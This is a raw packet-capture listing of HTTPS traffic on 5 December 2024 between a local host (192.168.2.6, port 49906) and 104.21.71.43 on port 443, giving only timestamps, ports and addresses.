Dec 5, 2024 15:04:41.894304037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.894309998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.894344091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.894366980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.900038958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.900053978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.900146008 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.900152922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.900188923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.905291080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.905306101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.905364990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.905371904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.905409098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.911305904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.911329031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.911380053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.911386967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.911413908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.911438942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.916348934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.916363001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.916414976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.916419983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.916464090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.932408094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.932430029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.932509899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.932522058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.932569027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.938040972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.938056946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.938122988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:41.938128948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:41.938174009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.083614111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.083640099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.083767891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.083789110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.083832979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.089679003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.089704990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.089780092 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.089792967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.089838982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.094341040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.094362020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.094428062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.094449043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.094492912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.100189924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.100214958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.100300074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.100322008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.100368977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.105875969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.105892897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.106010914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.106033087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.106090069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.111038923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.111093998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.111226082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.111247063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.111296892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.112688065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.112783909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.169555902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.169583082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.169755936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.169781923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.169852018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.175446987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.175477028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.175559044 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.175579071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.175623894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.292635918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.292659044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.292721033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.292741060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.292752981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.292778969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.297715902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.297729969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.297820091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.297827005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.297858000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.297871113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.303441048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.303457022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.303538084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.303545952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.303585052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.309204102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.309220076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.309281111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.309289932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.309323072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.315023899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.315041065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.315109015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.315116882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.315148115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.320389032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.320404053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.320449114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.320453882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.320482969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.379534960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.379549980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.379790068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.379811049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.379857063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.385291100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.385304928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.385375023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.385380030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.385416985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.568845987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.568876028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.568953991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.568979025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.568994999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.569016933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.574479103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.574500084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.574548006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.574553967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.574578047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.574606895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.579652071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.579668045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.579730988 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.579737902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.579783916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.585441113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.585458994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.585524082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.585530043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.585586071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.591239929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.591254950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.591309071 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.591317892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.591346025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.596592903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.596609116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.596666098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.596672058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.596716881 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.645204067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.645220041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.645396948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.645406008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.645451069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.650314093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.650327921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.650439978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.650446892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.650484085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.776797056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.776835918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.777039051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.777072906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.777118921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.782397985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.782423019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.782494068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.782510996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.782548904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.788216114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.788233042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.788294077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.788300991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.788336039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.793205976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.793226004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.793291092 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.793297052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.793329954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.794038057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.799097061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.799114943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.799156904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.799163103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.799200058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.805262089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.805284023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.805361986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.805368900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.847893000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.847915888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.847963095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.847990990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:42.848001957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:42.895577908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.010780096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.010788918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.010823965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.010840893 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.010905981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.010919094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.010947943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.010971069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.016422987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.016429901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.016458988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.016484022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.016506910 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.016516924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.016551018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.016566992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.021085024 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.021102905 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.021161079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.021167040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.021209955 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.026808977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.026824951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.026911974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.026917934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.026967049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.032660007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.032675028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.032751083 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.032756090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.032799006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.037754059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.037769079 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.037866116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.037870884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.037911892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.043879986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.043901920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.043976068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.043982029 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.044032097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.097661972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.097677946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.097800016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.097810984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.097852945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.202873945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.202894926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.203005075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.203015089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.203058004 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.207911015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.207926989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.208002090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.208008051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.208081961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.213726044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.213742018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.213845015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.213851929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.213908911 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.218763113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.218777895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.218867064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.218872070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.218919039 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.224518061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.224531889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.224637032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.224643946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.224708080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.230362892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.230379105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.230465889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.230474949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.230521917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.235728979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.235743999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.235807896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.235814095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.235858917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.289088011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.289108992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.289258957 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.289278984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.289325953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.414206028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.414237976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.414325953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.414354086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.414403915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.419008970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.419024944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.419091940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.419096947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.419159889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.424897909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.424915075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.425004959 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.425009966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.425056934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.430535078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.430550098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.430598021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.430604935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.430656910 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.431860924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.435631037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.435657978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.435699940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.435705900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.435780048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.435780048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.441409111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.441426039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.441468954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.441473007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.441519022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.441545963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.446836948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.446852922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.446904898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.446911097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.446940899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.446962118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.538554907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.538572073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.538669109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.538677931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.538733006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.606709003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.606733084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.606791973 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.606808901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.606856108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.611412048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.611429930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.611501932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.611510992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.611548901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.617168903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.617191076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.617286921 CET	49906	443	192.168.2.6	104.21.71.43
